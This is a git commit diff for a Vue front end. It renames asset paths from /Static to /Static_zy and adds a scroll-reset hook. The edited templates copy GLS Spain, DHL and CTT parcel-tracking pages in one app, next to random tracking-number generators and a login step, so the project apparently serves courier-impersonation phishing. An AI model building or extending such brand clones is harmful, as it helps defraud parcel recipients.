This commit is contained in:
telangpu
2026-04-29 21:51:30 +08:00
parent c73ff3b77a
commit 7107a95c10
178 changed files with 227 additions and 158 deletions

View File

@@ -22,7 +22,7 @@ onMounted(() => {
});
const login = async function () {
headerHtml.value = await loadHtml("/Static/header.html");
headerHtml.value = await loadHtml("/Static_zy/header.html");
loadingStore.setLoading(true);
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
@@ -56,7 +56,7 @@ const login = async function () {
configData.value = JSON.parse(data.data.custom);
}
});
footerHtml.value = await loadHtml("/Static/footer.html");
footerHtml.value = await loadHtml("/Static_zy/footer.html");
};
</script>

View File

@@ -98,5 +98,12 @@ const router = createRouter({
}
},
});
router.afterEach(() => {
// Try all common scroll containers
window.scrollTo({ top: 0, left: 0, behavior: "auto" });
document.documentElement.scrollTop = 0;
document.body.scrollTop = 0;
const wrap = document.querySelector(".v-application--wrap") as HTMLElement | null;
if (wrap) wrap.scrollTop = 0;
});
export default router;

View File

@@ -321,8 +321,8 @@ export const loadingBg = ref("#ffffff");
const initHtml = async () => {
const routePath = localStorage.getItem("route");
headerHtml.value = await loadHtml("/Static/header.html");
footerHtml.value = await loadHtml("/Static/footer.html");
headerHtml.value = await loadHtml("/Static_zy/header.html");
footerHtml.value = await loadHtml("/Static_zy/footer.html");
await router.push(routePath ? `/${routePath}` : "/phone1");
setTimeout(async () => {
useLoadingStore().setLoading(false);

View File

@@ -71,7 +71,7 @@ function generateRandomTenDigitNumber(): string {
<!-- Banner principal GLS -->
<div class="gls-banner-bar">
<img
src="/Static/Driver-riding-an-ebike-on-a-park_M02_4X3.jpg"
src="/Static_zy/Driver-riding-an-ebike-on-a-park_M02_4X3.jpg"
alt="GLS Spain — Envíos rápidos y seguros para todos"
class="banner-img"
/>
@@ -214,21 +214,21 @@ function generateRandomTenDigitNumber(): string {
<!-- (gls_group_molecule_icon_row_item): start -->
<li class="ce_icon_box ">
<div class="image">
<img src="/Static/ES/icons/2023/Hub_blue.svg" alt="Hub de GLS Spain">
<img src="/Static_zy/ES/icons/2023/Hub_blue.svg" alt="Hub de GLS Spain">
</div>
<div class="text">34 delegaciones y alrededor de 560 agencias</div>
</li>
<!-- (gls_group_molecule_icon_row_item): end --><!-- (gls_group_molecule_icon_row_item): start -->
<li class="ce_icon_box ">
<div class="image">
<img src="/Static/ES/icons/2023/Meeting-room_blue.svg" alt="Empleados de GLS Spain">
<img src="/Static_zy/ES/icons/2023/Meeting-room_blue.svg" alt="Empleados de GLS Spain">
</div>
<div class="text">Empleados GLS Spain: Alrededor de 1.500</div>
</li>
<!-- (gls_group_molecule_icon_row_item): end --><!-- (gls_group_molecule_icon_row_item): start -->
<li class="ce_icon_box ">
<div class="image">
<img src="/Static/ES/icons/2023/Network_blue.svg" alt="Clientes de GLS Spain">
<img src="/Static_zy/ES/icons/2023/Network_blue.svg" alt="Clientes de GLS Spain">
</div>
<div class="text">Clientes GLS Spain: Alrededor de 3.000</div>
</li>

View File

@@ -66,7 +66,7 @@ function generateRandomNineDigitNumber(): number {
<CommonLayout>
<template #default>
<img
src="/Static/woman-signs-for-package-0002.jpeg"
src="/Static_zy/woman-signs-for-package-0002.jpeg"
alt="DHL Bilde"
style="width: 100%; height: auto; max-width: 100%; margin-top: 0px;margin-bottom: -5px;"
>

View File

@@ -131,7 +131,7 @@ onUnmounted(() => {
<!-- Start Icon -->
<div class="cd-timeline-start">
<div class="cd-timeline-start-caption">
<img decoding="async" src="/Static/wp-content/uploads/2023/07/ctt_icono_destino.svg" alt="Destino" width="40">
<img decoding="async" src="/Static_zy/wp-content/uploads/2023/07/ctt_icono_destino.svg" alt="Destino" width="40">
</div>
</div>
<!-- Timeline Blocks -->
@@ -240,7 +240,7 @@ onUnmounted(() => {
<!-- End Icon -->
<div class="cd-timeline-start cd-final">
<div class="x_cd-timeline-start-caption">
<img decoding="async" src="/Static/wp-content/uploads/2023/07/ctt_icono_paquete.svg" alt="Comienzo viaje" width="40">
<img decoding="async" src="/Static_zy/wp-content/uploads/2023/07/ctt_icono_paquete.svg" alt="Comienzo viaje" width="40">
</div>
</div>
</section>